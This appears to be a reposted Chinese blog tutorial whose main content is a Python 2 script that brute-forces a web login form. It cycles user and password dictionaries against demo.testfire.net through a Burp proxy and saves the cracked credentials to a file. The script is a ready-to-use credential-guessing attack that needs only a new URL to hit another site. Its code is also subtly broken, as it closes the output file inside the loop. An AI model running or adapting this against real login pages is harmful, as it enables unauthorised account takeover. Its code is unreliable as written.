博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
使用 python 的 urllib2和 urllib模块爆破 form 表单的简易脚本
阅读量:5949 次
发布时间:2019-06-19

本文共 2081 字,大约阅读时间需要 6 分钟。

  1. python 的 http 中 urllib2和 urllib模块在web 表单爆破的使用方法

  2. 脚本中还增加了 urllib2和 urllib模块如何添加代理的方法

# -*- coding: utf-8 -*-import urllib2import urllibimport timedef brute_force(user, password):    #strip() 方法用于移除字符串头尾指定的字符(默认为空格)    name = user.strip()    passwd = password.strip()    #添加代理:本地8080端口的代理是 burp 工具,主要是查看脚本发包回包的情况,好定位问题        proxy = urllib2.ProxyHandler({"http":'http://127.0.0.1:8080'})    opener = urllib2.build_opener(proxy)    urllib2.install_opener(opener)    #IBM 公司的一个 测试网站    url1 = "http://demo.testfire.net/bank/login.aspx"    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"    headers = {"User-Agent":user_agent,"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://demo.testfire.net/bank/login.aspx"}    values = {'uid': name, 'passw': passwd,'btnSubmit':'Login'}    data = urllib.urlencode(values)#可以把key-value这样的键值对转换成我们想要的格式,返回的是a=1&b=2这样的字符串    request = urllib2.Request(url1,data,headers)    response = urllib2.urlopen(request)    url2 = response.geturl()    time.sleep(3)    if url2 != url1:        #因为urllib2 返回的页面如果存在302重定向,返回的页面是重定向之后的页面,所以不能以302状态码来判断是否登录成功,        #因为重定向之后的页面访问成功是200,不是302;所以以返回的页面是不是发生变化来判断是否是否登录成功。        print '---- find user:', name, ' with password:',passwd, '-----'        print url2        outFile.write(name + ':' + passwd+'\n' )    else:        print '----- error user:', name, ' with password:',passwd, '-----'        print url2    response.close()    returnoutFile = open('accounts-cracked.txt', 'w')if __name__ == '__main__':    #导入用户名字典    with open('user.dic', 'r') as userline:        y = userline.readlines()        #导入密码的字典        with open('pass.dic', 'r') as passline:            b= passline.readlines()            for u in y:                for p in b:                    brute_force(user=u,password=p)                    outFile.close()with open('accounts-cracked.txt','r') as text:    list = text.readlines()    sum=len(list)if sum>0:    print "找到",sum,"个账号密码"else:    print "All thread OK,maybe not "

输入有点丑,将就用下

clipboard.png

转载地址:http://rlsxx.baihongyu.com/

你可能感兴趣的文章
钱到用时方恨少(随记)
查看>>
mybatis主键返回的实现
查看>>
org.openqa.selenium.StaleElementReferenceException
查看>>
Android Intent传递对象为什么要序列化?
查看>>
数论之 莫比乌斯函数
查看>>
linux下查找某个文件位置的方法
查看>>
python之MySQL学习——数据操作
查看>>
懒加载——实现原理
查看>>
【个人作业】单词链
查看>>
Harmonic Number (II)
查看>>
长连接、短连接、长轮询和WebSocket
查看>>
day30 模拟ssh远程执行命令
查看>>
做错的题目——给Array附加属性
查看>>
Url.Action取消字符转义
查看>>
K8S调度之标签选择器
查看>>
JQuery选择器大全
查看>>
Gamma阶段第三次scrum meeting
查看>>
python3之装饰器修复技术@wraps
查看>>
[考试]20150606
查看>>
Javascript_备忘录5
查看>>